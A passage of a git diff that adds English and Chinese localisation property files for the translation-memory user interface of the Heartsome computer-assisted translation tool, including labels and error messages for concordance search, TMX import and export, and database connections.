\u6587\u4ef6\u7ffb\u8bd1\u8bb0\u5fc6\u5e93 +tm.dialog.addTm.DropDownButton.AddFileTm = \u6587\u4ef6\u7ffb\u8bd1\u8bb0\u5fc6\u5e93(&F)... +tm.dialog.addTm.DropDownButton.AddServerTm = \u670d\u52a1\u5668\u7ffb\u8bd1\u8bb0\u5fc6\u5e93(&S)... +tm.dialog.addFileTm.errorTitle = \u9519\u8bef +tm.dialog.addFileTm.error.msg1 = \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Hearstome \u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u6587\u4ef6\u3002 +tm.dialog.addFileTm.error.msg2 = \u65e0\u6cd5\u6253\u5f00\u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u6587\u4ef6 {0} \n \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Heartsome \u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u6587\u4ef6\u3002 diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message_en.properties b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message_en.properties new file mode 100644 index 0000000..e1a7392 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message_en.properties @@ -0,0 +1,293 @@ +dialog.ConcordanceSearchDialog.strMsg = Created on: {0} Created by: {1} Changed on: {2} Changed by: {3}{4} +dialog.ConcordanceSearchDialog.title = Concordance +dialog.ConcordanceSearchDialog.groupSearch = Concordance +dialog.ConcordanceSearchDialog.lblSearch = Search for: +dialog.ConcordanceSearchDialog.btnSearch = Search +dialog.ConcordanceSearchDialog.btnIsCaseSensitive = Case-sensitive +dialog.ConcordanceSearchDialog.btnIsIgnoreMark = Ignore tags +dialog.ConcordanceSearchDialog.btnApplyRegularExpression = Regular expressions +dialog.ConcordanceSearchDialog.lblDB = TM: +dialog.ConcordanceSearchDialog.btnSelectLang = Target Languages +dialog.ConcordanceSearchDialog.groupFilter = Add Filters +dialog.ConcordanceSearchDialog.cmpExpandableFilter = Add Filters +dialog.ConcordanceSearchDialog.cmbSrcOrTgt1 = Source +dialog.ConcordanceSearchDialog.cmbSrcOrTgt2 = Target +dialog.ConcordanceSearchDialog.cmbContain1 = Contains +dialog.ConcordanceSearchDialog.cmbContain2 = Excludes +dialog.ConcordanceSearchDialog.groupTable = Search Results +dialog.ConcordanceSearchDialog.colTag = Flags +dialog.ConcordanceSearchDialog.logger1 = [LOG] \u521d\u59cb\u5316\u8bed\u8a00\u4e0b\u62c9\u6846\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.logger2 = [LOG] \u6267\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.logger3 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.msgTitle = Message +dialog.ConcordanceSearchDialog.msg1 = No matching contents. +dialog.ConcordanceSearchDialog.msg2 = Please enter the text you want to search for. +dialog.DatabaseNameInputDialog.logger1 = [LOG] \u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25 +dialog.DatabaseNameInputDialog.msg1 = Unable to create translation memory.\nPlease make sure that the server of the database and the is accessible. Or, change server of the database/path and try again. +dialog.DatabaseNameInputDialog.msg2 = The name already exists in the specified server or path. Please choose another name. +dialog.DatabaseNameInputDialog.logger2 = [LOG] \u521b\u5efa\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.ExportTmxDialog.title = Export TM To TMX Files +dialog.ExportTmxDialog.dbListGroup = Translation Memory +dialog.ExportTmxDialog.langSelLabel = Export Languages: +dialog.ExportTmxDialog.srcLangSelLabel = Source Language: +dialog.ExportTmxDialog.AddDbBtn = &Add +dialog.ExportTmxDialog.deleteDbBtn = &Remove +dialog.ExportTmxDialog.msgTitle = Message +dialog.ExportTmxDialog.msg1 = Please select translation memories you want to remove from the list. +dialog.ExportTmxDialog.hasfilterCbtn = Filter rules: +dialog.ExportTmxDialog.filterSetBtn = &Edit... +dialog.ExportTmxDialog.deleteFilterBtn = &Delete +dialog.ExportTmxDialog.msg2 = Are you sure you want to delete the selected filter rules? +dialog.ExportTmxDialog.isTopLevelTmxCbtn = TMX level 1 (without tags) +dialog.ExportTmxDialog.isTagCbtn = Only export flagged segments +dialog.ExportTmxDialog.hasChangedCodingCbtn = Custom encoding: +dialog.ExportTmxDialog.tmxFileLabel = Save as: +dialog.ExportTmxDialog.browserBtn = &Browse... +dialog.ExportTmxDialog.empty = N/A +dialog.ExportTmxDialog.ok = &Export +dialog.ExportTmxDialog.cancel = Cancel +dialog.ExportTmxDialog.clmnTitles1 = No. +dialog.ExportTmxDialog.clmnTitles2 = Type +dialog.ExportTmxDialog.clmnTitles3 = Name +dialog.ExportTmxDialog.clmnTitles4 = Language +dialog.ExportTmxDialog.msg3 = Please add translation memories you want to export. +dialog.ExportTmxDialog.msg4 = Translation Memory{0}:{1} at least export two languages. +dialog.ExportTmxDialog.msg5 = Please select source language. +dialog.ExportTmxDialog.msg6 = Please specify the path and file name of the TMX file. +dialog.ExportTmxDialog.msg7 = File {0} already exists. Are you sure you want to overwrite it? +dialog.ExportTmxDialog.msg8 = You must save the TMX file in one folder when exporting more than one translation memories. +dialog.ExportTmxDialog.msg9 = You must save the TMX file to one file when exporting one translation memory. +dialog.ExportTmxDialog.job = Export TM as TMX files +dialog.ListPropCol.logger1 = [LOG] \u6dfb\u52a0 +dialog.ListPropCol.logger2 = [LOG] \u5220\u9664 +dialog.ListPropCol.logger3 = [LOG] \u6807\u8bb0HS-Flag\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ListPropCol.logger4 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TmDbManagerDialog.title = Translation Memory Management +dialog.TmDbManagerDialog.parameterGroup = Database Information +dialog.TmDbManagerDialog.lblHost = Address: +dialog.TmDbManagerDialog.lblPort = Port: +dialog.TmDbManagerDialog.lblInstance = Instance: +dialog.TmDbManagerDialog.lblLocation = Path: +dialog.TmDbManagerDialog.borwserBtn = &Browse... +dialog.TmDbManagerDialog.lblUsername = Username: +dialog.TmDbManagerDialog.lblPwd = Password: +dialog.TmDbManagerDialog.searchBtn = &Search +dialog.TmDbManagerDialog.msgTitle = Message +dialog.TmDbManagerDialog.msg1 = Unable to connect to the specified database. Please make sure you enter the correct information and that the database server is accessible. +dialog.TmDbManagerDialog.tableComposite = Translation Memories +dialog.TmDbManagerDialog.btnc = &Create +dialog.TmDbManagerDialog.btnd_1 = &Delete +dialog.TmDbManagerDialog.msg2 = Once deleted, the translation memories cannot be recovered. Are sure you want to delete? +dialog.TmDbManagerDialog.logger1 = [LOG] \u5220\u9664\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.TmDbManagerDialog.msg3 = An error occured when deleting translation memories.\nPlease re-run the software or restart the database, then try again.\n If the problem is not solved, please contact the Heartsome technical support, and provide the following information: +dialog.TmDbManagerDialog.importBtn = &Import TMX +dialog.TmDbManagerDialog.msg4 = Please select one or more translation memories. +dialog.TmDbManagerDialog.deleteAction = Remove +dialog.TmDbManagerDialog.clmnTitles1 = No. +dialog.TmDbManagerDialog.clmnTitles2 = Name +dialog.TmDbManagerDialog.clmnTitles3 = Language +dialog.TmDbManagerDialog.msg5 = Please set Path to the folder where you want to save your Internal DB. +dialog.TmDbManagerDialog.msg6 = Please enter the address of the database server. +dialog.TmDbManagerDialog.msg7 = Please enter the port of the database server. +dialog.TmDbManagerDialog.msg8 = Please enter the username of the database server. +dialog.TmDbManagerDialog.msg9 = Please enter the instance of database server. +dialog.TmDbManagerDialog.msg10 = There are no segments in the translation memory. +dialog.TmDbManagerDialog.inputDbNameialogTitle = Create Translation Memory +dialog.TmDbManagerDialog.inputDbNameialogMsg = Translation Memory Name: +dialog.UpdateTMDialog.title = Update Translation Memory +dialog.UpdateTMDialog.lbl = Statuses to be imported +dialog.UpdateTMDialog.btnDraft = Draft +dialog.UpdateTMDialog.btnTranslated = Translated +dialog.UpdateTMDialog.btnApproved = Approved +dialog.UpdateTMDialog.btnSignedOff = Signed-off +dialog.UpdateTMDialog.jobTitle = Update Translation Memory +dialog.UpdateTMDialog.jobTask1 = Updating translation memory. Please wait... +dialog.UpdateTMDialog.jobTask2 = Generating TMX files... +dialog.UpdateTMDialog.jobTask3 = Importing... +dialog.UpdateTMDialog.job.msgTitle = Message +dialog.UpdateTMDialog.job.msg = An error occured when updating translation memory.\nPlease make sure there is a default translation memory for the project and that the server of the database is accessible. Then try again. +dialog.UpdateTMDialog.btnSetting = &Options... + +handler.ConcordanceSearchHandler.msgTitle = Message +handler.ConcordanceSearchHandler.msg = Please add translation memories in Project Settings and try again. +handler.UpdateTMHandler.msgTitle = Message +handler.UpdateTMHandler.logger1 = [LOG] \u5728\u6587\u4ef6\u5939\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6 +handler.UpdateTMHandler.logger2 = [LOG] \u5728\u9879\u76ee\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6 +handler.UpdateTMHandler.msg1 = Unable to update translation memory. Unable to find the XLIFF in the specified folder. Please select again. +handler.UpdateTMHandler.msg2 = Unable to update translation memory. Unable to find the XLIFF in the specified project. Please select again. +handler.UpdateTMHandler.msg3 = Unable to update translation memory. No XLIFF file was found. Please select again. +handler.UpdateTMHandler.msg4 = Unable to update translation memory. The selected files are not in the same project.\nPlease select files from the same project. + +newproject.NewProjectTmPage.title = Translation Memory +newproject.NewProjectTmPage.desc = Set up the project's translation memories. +newproject.NewProjectTmPage.msg1 = No segments found for current project in translation memories. +newproject.NewProjectTmPage.addBtn = &Add +newproject.NewProjectTmPage.createBtn = &Create +newproject.NewProjectTmPage.removeBtn = &Remove +newproject.NewProjectTmPage.importTmxBtn = &Import TMX +newproject.NewProjectTmPage.msgTitle = Message +newproject.NewProjectTmPage.msg1 = Please select translation memory that you wish to import TMX files to. +newproject.NewProjectTmPage.msg2 = The following translation memories have been added in the project.\n +newproject.NewProjectTmPage.clmnTitles1 = Name +newproject.NewProjectTmPage.clmnTitles2 = Type +newproject.NewProjectTmPage.clmnTitles3 = Address +newproject.NewProjectTmPage.clmnTitles4 = Project Language Pair +newproject.NewProjectTmPage.clmnTitles5 = Default +newproject.NewProjectTmPage.yes = Contains +newproject.NewProjectTmPage.no = Excludes + +preference.TMDatabasePage.title = Translation Memory +preference.TMDatabasePage.commonGroup = General +preference.TMDatabasePage.setLabel = When searching for matches in translation memories: +preference.TMDatabasePage.btnCaseSensitive = Ignore case +preference.TMDatabasePage.btnIsIgnoreMark = Ignore tags +preference.TMDatabasePage.minLabel = Minimum match value: +preference.TMDatabasePage.msg1 = Please enter an integer between 35 and 100 as the "minimum match value". +preference.TMDatabasePage.msg2 = The "minimum match value" should be an integer between 35 and 100. +preference.TMDatabasePage.msg3 = The "minimum match value" should be an integer between 35 and 100. +preference.TMDatabasePage.contextSpi = Context segments: +preference.TMDatabasePage.matchNumberSpi = Matches displayed: +preference.TMDatabasePage.tagPenalty = Tag Differences Penalty: +preference.TMDatabasePage.sortGroup = Priority +preference.TMDatabasePage.sortLabel = When the match value is the same, the following matches will take priority: +preference.TMDatabasePage.btnDefaultDBPrecedence = Default translation memory +preference.TMDatabasePage.btnDateReverse = Most recently updated +preference.TMDatabasePage.updateCompGroup = Duplicate entries processing +preference.TMDatabasePage.updateLabel = When importing segments and TMX files, action to take with duplicated existing translation units: +preference.TMDatabasePage.btnAlwaysAdd = Add +preference.TMDatabasePage.btnRepeatOverwrite = Overwrite +preference.TMDatabasePage.btnRepeatIgnore = Ignore +preference.TMUpdateDatabasePage.title = Translation Memory +preference.TMUpdateDatabasePage.updateGroup = Repetitions processing +preference.TMUpdateDatabasePage.btnAlwaysAdd = Add +preference.TMUpdateDatabasePage.btnRepeatOverwrite = Overwrite +preference.TMUpdateDatabasePage.btnRepeatIgnore = Ignore +preference.TMUpdateDatabasePage.updateLabel = When importing segments and TMX files, action to take with existing translation units: + +projectsetting.ProjectSettingTMPage.title = Translation Memory +projectsetting.ProjectSettingTMPage.msg1 = No segments found for current project in translation memories. +projectsetting.ProjectSettingTMPage.addBtn = &Add +projectsetting.ProjectSettingTMPage.createBtn = &Create +projectsetting.ProjectSettingTMPage.removeBtn = &Remove +projectsetting.ProjectSettingTMPage.importTmxBtn = &Import TMX +projectsetting.ProjectSettingTMPage.msgTitle = Message +projectsetting.ProjectSettingTMPage.msg2 = Please select translation memory that you wish to import TMX files to. +projectsetting.ProjectSettingTMPage.msg3 = The following translation memories have been added in the project.\n +projectsetting.ProjectSettingTMPage.msg4 = This version does not support this type of database. +projectsetting.ProjectSettingTMPage.clmnTitles1 = Name +projectsetting.ProjectSettingTMPage.clmnTitles2 = Type +projectsetting.ProjectSettingTMPage.clmnTitles3 = Address +projectsetting.ProjectSettingTMPage.clmnTitles4 = Project Language Pair +projectsetting.ProjectSettingTMPage.clmnTitles5 = Default +projectsetting.ProjectSettingTMPage.yes = Contains +projectsetting.ProjectSettingTMPage.no = Excludes + +wizard.ImportTmxPage.title = Import TMX files +wizard.ImportTmxPage.desc = Import the translated text in TMX files into the translation memory. +wizard.ImportTmxPage.lblTmx = TMX file: +wizard.ImportTmxPage.msg1 = Please select the TMX files that you want to import into the translation memory. +wizard.ImportTmxPage.tmxFileBorwserBtn = &Browse... +wizard.ImportTmxPage.settingBtn = &Options... +wizard.ImportTmxPage.task1 = Importing TMX files... +wizard.ImportTmxPage.msg1 = The file is an invalid TMX file. Please select a valid TMX file. +wizard.ImportTmxPage.msg2 = Unable to import: An error occured when loading TMX files.\nPlease make sure that the TMX file is accessible, or select another TMX file. +wizard.ImportTmxPage.msg3 = Unable to import TMX files due to an error in the database.\nPlease make sure that the server of the database and the TMX file are accessible. Or, change server of the database/path and try again. +wizard.ImportTmxPage.msg4 = Unable to import: An error occured when loading TMX files.\nPlease make sure that the TMX file is accessible, or select another TMX file. +wizard.ImportTmxPage.msg5 = An error occured when importing TMX.\nPlease make sure the database server and the TMX file are accessible, or specify the database server/path/TMX file. Then try again. +wizard.ImportTmxPage.msg6 = Importing of TMX files has been cancelled. +wizard.ImportTmxWizard.msg = Please select the TMX files that you want to import into the translation memory +wizard.NewTmDbBaseInfoPage.title = Translation Memory Information +wizard.NewTmDbBaseInfoPage.desc = Please enter the basic information for the translation memory. +wizard.NewTmDbBaseInfoPage.dbGroup1 = Basic information +wizard.NewTmDbBaseInfoPage.lblType = Type: +wizard.NewTmDbBaseInfoPage.dbNameText = Name: +wizard.NewTmDbBaseInfoPage.instanceText = Instance: +wizard.NewTmDbBaseInfoPage.dbGroup = Location +wizard.NewTmDbBaseInfoPage.hostText = Server: +wizard.NewTmDbBaseInfoPage.portText = Port: +wizard.NewTmDbBaseInfoPage.locationText = Path: +wizard.NewTmDbBaseInfoPage.borwserBtn = &Browse... +wizard.NewTmDbBaseInfoPage.authorityGroup = Authentication +wizard.NewTmDbBaseInfoPage.usernameText = Username: +wizard.NewTmDbBaseInfoPage.passwordText = Password: +wizard.NewTmDbBaseInfoPage.msg1 = Please select translation memory type. If you select "Internal DB", simply specify the path where you want to save the translation memory.\n If you select other translation memory types, enter the IP address of the server where the translation memory is installed, and your user ID and password. +wizard.NewTmDbBaseInfoPage.msg2 = Please enter a name for the translation memory. +wizard.NewTmDbBaseInfoPage.msg3 = Please set Path to the folder where you want to save your Internal DB. +wizard.NewTmDbBaseInfoPage.msg4 = Please enter the address of the database server. +wizard.NewTmDbBaseInfoPage.msg5 = Please enter the port of the database server. +wizard.NewTmDbBaseInfoPage.msg6 = Please enter the username of the database server. +wizard.NewTmDbBaseInfoPage.instancemsg = Please enter the instance of database server. +wizard.NewTmDbBaseInfoPage.task1 = Try to connect to the specified database... +wizard.NewTmDbBaseInfoPage.msg7 = Unable to connect to specified database server.\nPlease make sure that you enter the correct information of the database and the server of the database is accessible\uff0cthen try again. +wizard.NewTmDbBaseInfoPage.logger1 = [LOG] \u8bb0\u5fc6\u5e93\u521b\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25\uff01 +wizard.NewTmDbBaseInfoPage.msg8 = Unable to create translation memory.\nPlease make sure that the server of the database is accessible. Or, change server of the database/path and try again. +wizard.NewTmDbBaseInfoPage.msg9 = The name already exists in the specified server or the path. Please choose another name. +wizard.NewTmDbBaseInfoPage.task2 = Creating translation memory... +wizard.NewTmDbBaseInfoPage.msg10 = Unable to create translation memory.\nPlease make sure that the server of the database is accessible. Or, change server of the database/path and try again.\n If the problem is not solved, please contact the Heartsome technical support, and provide the following information: +wizard.NewTmDbImportPage.title = Import TMX +wizard.NewTmDbImportPage.desc = Please select TMX files to import into the translation memory. +wizard.NewTmDbImportPage.lblTmx = TMX file: +wizard.NewTmDbImportPage.tmxFileBorwserBtn = &Browse... +wizard.NewTmDbImportPage.task1 = Create Translation Memory +wizard.NewTmDbImportPage.task2 = Importing TMX files... +wizard.NewTmDbImportPage.msg1 = The file is an invalid TMX file. Please select a valid TMX file. +wizard.NewTmDbImportPage.msg2 = Unable to import: An error occured when loading TMX files.\nPlease make sure that the TMX file is accessible, or select another TMX file. +wizard.NewTmDbImportPage.msg3 = Unable to import TMX files due to an error in the database.\nPlease make sure that the server of the database and the TMX file are accessible. Or, change server of the database/path and try again. +wizard.NewTmDbImportPage.msg4 = Unable to import: An error occured when loading TMX files.\nPlease make sure that the TMX file is accessible, or select another TMX file. +wizard.NewTmDbImportPage.msg5 = An error occured when importing TMX.\nPlease make sure the database server and the TMX file are accessible, or specify the database server/path/TMX file. Then try again. +wizard.NewTmDbImportPage.msg6 = Importing of TMX files has been cancelled. +wizard.NewTmDbWizard.title = New Translation Memory Wizard +wizard.TmDbManagerImportWizard.title = Import TMX files +wizard.TmDbManagerImportWizard.msg = Please select the TMX files that you want to import into the translation memory. +wizard.TmDbManagerImportWizardTmxPage.title = Import TMX files to translation memories +wizard.TmDbManagerImportWizardTmxPage.desc = Import TMX files to the specified translation memory. +wizard.TmDbManagerImportWizardTmxPage.lblTmx = TMX file: +wizard.TmDbManagerImportWizardTmxPage.tmxFileBorwserBtn = &Browse... +wizard.TmDbManagerImportWizardTmxPage.openFile = Open +wizard.TmDbManagerImportWizardTmxPage.lblNewLabel = TM: +wizard.TmDbManagerImportWizardTmxPage.button = &Select +wizard.TmDbManagerImportWizardTmxPage.task1 = Importing TMX files... +wizard.TmDbManagerImportWizardTmxPage.msg1 = The file is an invalid TMX file. Please select a valid TMX file. +wizard.TmDbManagerImportWizardTmxPage.msg2 = Unable to import: An error occured when loading TMX files.\nPlease make sure that the TMX file is accessible, or select another TMX file. +wizard.TmDbManagerImportWizardTmxPage.msg3 = Unable to import TMX files due to an error in the database.\nPlease make sure that the server of the database and the TMX file are accessible. Or, change server of the database/path and try again. +wizard.TmDbManagerImportWizardTmxPage.msg4 = Unable to import: An error occured when loading TMX files.\nPlease make sure that the TMX file is accessible, or select another TMX file. +wizard.TmDbManagerImportWizardTmxPage.msg5 = An error occured when importing TMX.\nPlease make sure the database server and the TMX file are accessible, or specify the database server/path/TMX file. Then try again. +wizard.TmDbManagerImportWizardTmxPage.msg6 = Importing of TMX files has been cancelled. +wizard.TmDbManagerImportWizardTmxPage.msg8 = Please select the TMX files that you want to import into the translation memory +wizard.TmDbManagerImportWizardTmxPage.msg9 = Please select translation memory for which TMX files will be imported into. +wizard.UpdateTMWizard.msgTitle = Message +wizard.UpdateTMWizard.msg = Please select segments with particular statuses you want to import. + +wizard.UpdateTMWizardPage.columnNumber = No. +wizard.UpdateTMWizardPage.columnPath = XLIFF Files + +########################## 2012-08-13 \u6dfb\u52a0 ############################################### +dialog.UpdateTMWizardPage.btnLocked = Locked +wizard.UpdateTMWizardPage.title = Update selected files to translation memory +wizard.UpdateTMWizardPage.description = Import segments with the following statuses. + +########################## 2012-09-13 \u6dfb\u52a0 ############################################### +dialog.ConcordanceSearchDialog.lstItem = All + +########################## 2012-09-24 \u6dfb\u52a0 ############################################### +handler.UpdateTMHandler.msg5 = No default memory of the project found.\nPlease select Project Settings > Translation Memory, set default memory for the project, then try again. + +# 2012-09-24 add by jason +wizard.NewTmDbBaseInfoPage.msg11 = The translation memory path is invalid or the specified folder does not exist. + +########################## 2012-10-19 \u6dfb\u52a0 ############################################### +wizard.ImportTmxWizard.title = Import TMX files + +########################## 2012-11-30 \u6dfb\u52a0 ############################################### +dialog.ConcordanceSearchDialog.colon = : + +########################## 2012-12-27 \u6dfb\u52a0 ############################################### +dialog.TmDbManagerDialog.msg11 = Please set the Path for saving SQLite Translation Memory. +dialog.TmDbManagerDialog.msg12 = The Translation Memory path does not exist. + + +########################## robert 2013-02-26 \u6dfb\u52a0 ############################################### +dialog.db.recommend = SQLite (recommended) + +# add by jason 2013-04-23 +tm.dbtype.sqlite = \u6587\u4ef6\u7ffb\u8bd1\u8bb0\u5fc6\u5e93 diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message_zh.properties b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message_zh.properties new file mode 100644 index 0000000..58f388b --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/resource/message_zh.properties @@ -0,0 +1,292 @@ +dialog.ConcordanceSearchDialog.strMsg = \u521b\u5efa\u65f6\u95f4\uff1a{0} \u521b\u5efa\u8005\uff1a{1} \u4fee\u6539\u65f6\u95f4\uff1a{2} \u4fee\u6539\u8005\uff1a{3}{4} +dialog.ConcordanceSearchDialog.title = \u76f8\u5173\u641c\u7d22 +dialog.ConcordanceSearchDialog.groupSearch = \u76f8\u5173\u641c\u7d22 +dialog.ConcordanceSearchDialog.lblSearch = \u641c\u7d22\u5185\u5bb9\uff1a +dialog.ConcordanceSearchDialog.btnSearch = \u641c\u7d22 +dialog.ConcordanceSearchDialog.btnIsCaseSensitive = \u533a\u5206\u5927\u5c0f\u5199 +dialog.ConcordanceSearchDialog.btnIsIgnoreMark = \u5ffd\u7565\u6807\u8bb0 +dialog.ConcordanceSearchDialog.btnApplyRegularExpression = \u6b63\u5219\u8868\u8fbe\u5f0f +dialog.ConcordanceSearchDialog.lblDB = \u8bb0\u5fc6\u5e93\uff1a +dialog.ConcordanceSearchDialog.btnSelectLang = \u76ee\u6807\u8bed\u8a00 +dialog.ConcordanceSearchDialog.groupFilter = \u9644\u52a0\u8fc7\u6ee4\u6761\u4ef6 +dialog.ConcordanceSearchDialog.cmpExpandableFilter = \u9644\u52a0\u8fc7\u6ee4\u6761\u4ef6 +dialog.ConcordanceSearchDialog.cmbSrcOrTgt1 = \u6e90\u6587 +dialog.ConcordanceSearchDialog.cmbSrcOrTgt2 = \u8bd1\u6587 +dialog.ConcordanceSearchDialog.cmbContain1 = \u5305\u542b +dialog.ConcordanceSearchDialog.cmbContain2 = \u4e0d\u5305\u542b +dialog.ConcordanceSearchDialog.groupTable = \u641c\u7d22\u7ed3\u679c +dialog.ConcordanceSearchDialog.colTag = \u65d7\u6807 +dialog.ConcordanceSearchDialog.logger1 = [LOG] \u521d\u59cb\u5316\u8bed\u8a00\u4e0b\u62c9\u6846\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.logger2 = [LOG] \u6267\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.logger3 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ConcordanceSearchDialog.msgTitle = \u63d0\u793a +dialog.ConcordanceSearchDialog.msg1 = \u672a\u641c\u7d22\u5230\u5339\u914d\u7684\u6587\u672c\u6bb5\u3002 +dialog.ConcordanceSearchDialog.msg2 = \u8bf7\u8f93\u5165\u8981\u641c\u7d22\u7684\u5185\u5bb9\u3002 +dialog.DatabaseNameInputDialog.logger1 = [LOG] \u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25 +dialog.DatabaseNameInputDialog.msg1 = \u65e0\u6cd5\u521b\u5efa\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +dialog.DatabaseNameInputDialog.msg2 = \u8be5\u8bb0\u5fc6\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.DatabaseNameInputDialog.logger2 = [LOG] \u521b\u5efa\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.ExportTmxDialog.title = \u5bfc\u51fa\u8bb0\u5fc6\u5e93\u4e3a TMX \u6587\u4ef6 +dialog.ExportTmxDialog.dbListGroup = \u8bb0\u5fc6\u5e93 +dialog.ExportTmxDialog.langSelLabel = \u5bfc\u51fa\u8bed\u8a00\uff1a +dialog.ExportTmxDialog.srcLangSelLabel = \u6e90\u8bed\u8a00\uff1a +dialog.ExportTmxDialog.AddDbBtn = \u6dfb\u52a0(&A) +dialog.ExportTmxDialog.deleteDbBtn = \u79fb\u9664(&R) +dialog.ExportTmxDialog.msgTitle = \u63d0\u793a +dialog.ExportTmxDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u4ece\u5217\u8868\u4e2d\u79fb\u9664\u7684\u8bb0\u5fc6\u5e93\u3002 +dialog.ExportTmxDialog.hasfilterCbtn = \u8fc7\u6ee4\u89c4\u5219\uff1a +dialog.ExportTmxDialog.filterSetBtn = \u7f16\u8f91(&E)... +dialog.ExportTmxDialog.deleteFilterBtn = \u5220\u9664(&D) +dialog.ExportTmxDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8fc7\u6ee4\u89c4\u5219\u5417\uff1f +dialog.ExportTmxDialog.isTopLevelTmxCbtn = \u4e00\u7ea7 TMX\uff08\u4e0d\u542b\u6807\u8bb0\uff09 +dialog.ExportTmxDialog.isTagCbtn = \u4ec5\u5bfc\u51fa\u5e26\u65d7\u6807\u7684\u6587\u672c\u6bb5 +dialog.ExportTmxDialog.hasChangedCodingCbtn = \u81ea\u5b9a\u4e49\u7f16\u7801\uff1a +dialog.ExportTmxDialog.tmxFileLabel = \u4fdd\u5b58\u5230\uff1a +dialog.ExportTmxDialog.browserBtn = \u6d4f\u89c8(&B)... +dialog.ExportTmxDialog.empty = \u65e0 +dialog.ExportTmxDialog.ok = \u5bfc\u51fa(&P) +dialog.ExportTmxDialog.cancel = \u53d6\u6d88 +dialog.ExportTmxDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.ExportTmxDialog.clmnTitles2 = \u7c7b\u578b +dialog.ExportTmxDialog.clmnTitles3 = \u540d\u79f0 +dialog.ExportTmxDialog.clmnTitles4 = \u8bed\u8a00 +dialog.ExportTmxDialog.msg3 = \u8bf7\u6dfb\u52a0\u9700\u8981\u5bfc\u51fa\u7684\u8bb0\u5fc6\u5e93\u3002 +dialog.ExportTmxDialog.msg4 = \u8bb0\u5fc6\u5e93 {0}:{1} \u81f3\u5c11\u8981\u5bfc\u51fa\u4e24\u79cd\u8bed\u8a00\u3002 +dialog.ExportTmxDialog.msg5 = \u8bf7\u9009\u62e9\u6e90\u8bed\u8a00\u3002 +dialog.ExportTmxDialog.msg6 = \u8bf7\u6307\u5b9a\u5bfc\u51fa\u540e\u7684 TMX \u4fdd\u5b58\u8def\u5f84\u548c\u6587\u4ef6\u540d\u3002 +dialog.ExportTmxDialog.msg7 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417? +dialog.ExportTmxDialog.msg8 = \u5f53\u9009\u62e9\u591a\u4e2a\u8bb0\u5fc6\u5e93\u65f6\uff0c\u4fdd\u5b58 TMX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u5939\u3002 +dialog.ExportTmxDialog.msg9 = \u5f53\u9009\u4e00\u4e2a\u8bb0\u5fc6\u5e93\u65f6\uff0c\u4fdd\u5b58 TMX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u3002 +dialog.ExportTmxDialog.job = \u5c06\u8bb0\u5fc6\u5e93\u5bfc\u51fa\u4e3a TMX \u6587\u4ef6 +dialog.ListPropCol.logger1 = [LOG] \u6dfb\u52a0 +dialog.ListPropCol.logger2 = [LOG] \u5220\u9664 +dialog.ListPropCol.logger3 = [LOG] \u6807\u8bb0HS-Flag\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.ListPropCol.logger4 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TmDbManagerDialog.title = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +dialog.TmDbManagerDialog.parameterGroup = \u6570\u636e\u5e93\u4fe1\u606f +dialog.TmDbManagerDialog.lblHost = \u5730\u5740\uff1a 